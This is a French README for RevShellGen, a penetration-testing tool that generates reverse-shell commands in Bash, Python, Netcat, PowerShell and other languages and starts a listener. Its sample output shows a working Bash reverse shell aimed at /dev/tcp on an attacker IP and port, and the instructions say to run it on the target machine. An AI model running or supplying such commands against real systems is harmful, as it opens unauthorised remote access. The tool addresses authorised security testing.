
Générateur de shell inverse écrit en Python 3.
Générateur de Shell Inversé
Automatisez la génération de shells inversés avec style
Générez, encodez et interceptez des shells inversés sans tracas
Fonctionnalités • Installation • Utilisation • Types de Shell • Contribuer
RevShellGen est un outil en ligne de commande puissant qui simplifie le processus de génération de commandes de shell inversé. Fini de chercher la syntaxe, l'encodage manuel, les maux de tête de configuration. Cet outil s'en charge avec une interface intuitive.
# Installation depuis PyPI
pip install revshellgen
# Lancement de l'outil
revshellgen
# Cloner le dépôt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Installer les dépendances
pip3 install -r requirements.txt
# Lancer l'outil
python3 revshellgen.py # ou python3 revshellgen_cli.py
RevShellGen nécessite les paquets Python suivants :
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Sur Windows : venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# Vous aurez peut-être besoin d'installer python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Installez ncat pour un meilleur support de l'écouteur
brew install nmap # Inclut ncat
Lancez l'outil
python3 revshellgen.py
Configurez votre shell inversé
La commande générée est automatiquement copiée dans le presse-papiers
Démarrez l'écouteur (automatique)
Exécutez la commande sur la machine cible
![]() Sélection du Shell |
![]() Génération de la commande |
| Type de Shell | Description | Plateforme |
|---|---|---|
| Bash | Shell inversé TCP Bash | Linux/Unix |
| Python | Shell inversé Python | Multi-plateforme |
| Netcat | Shell inversé nc traditionnel | Linux/Unix |
| Netcat mkfifo | Netcat avec fifo nommé | Linux/Unix |
| Perl | Shell inversé Perl | Multi-plateforme |
| PHP | Shell inversé PHP | Multi-plateforme |
| Ruby | Shell inversé Ruby | Multi-plateforme |
| Java | Shell inversé Java | Multi-plateforme |
| AWK | Shell inversé AWK | Linux/Unix |
| Socat | Shell inversé Socat | Linux/Unix |
| Socat TTY | Socat avec TTY complet | Linux/Unix |
| Telnet | Shell inversé Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |
RevShellGen inclut désormais des instructions complètes de mise à niveau TTY. Après avoir intercepté un shell, l'outil fournit :
L'outil détecte automatiquement et utilise la variante netcat appropriée :
ncat (préféré, issu du paquet nmap)nc (netcat traditionnel)nc spécifique à macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SÉLECTIONNER IP ] ----------
[ x ] 192.168.1.10 sur eth0
[ ] 10.0.0.5 sur tun0
[ ] Spécifier manuellement
---------- [ SPÉCIFIER LE PORT ] ----------
[ # ] Entrez le numéro de port : 4444
---------- [ SÉLECTIONNER LA COMMANDE ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ COMMANDE DE SHELL INVERSÉ ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Commande copiée dans le presse-papiers !
[ + ] Démarrage de l'écouteur sur le port 4444...
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request. Pour les changements majeurs, veuillez d'abord ouvrir une issue pour discuter de ce que vous souhaitez modifier.
# Clonez votre fork
git clone https://github.com/VOTRE_NOM_UTILISATEUR/revshellgen
cd revshellgen
# Créez une branche
git checkout -b feature/nom-de-votre-fonctionnalité
# Faites vos modifications et validez
git add .
git commit -m "Ajoutez votre fonctionnalité"
# Poussez vers votre fork
git push origin feature/nom-de-votre-fonctionnalité
# Créez une Pull Request
Vous avez trouvé un bug ou avez une suggestion ? Veuillez ouvrir une issue sur GitHub.
Ce projet est sous licence GNU General Public License v3.0 - voir le fichier LICENSE pour plus de détails.
Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives.
L'utilisation de cet outil contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce programme.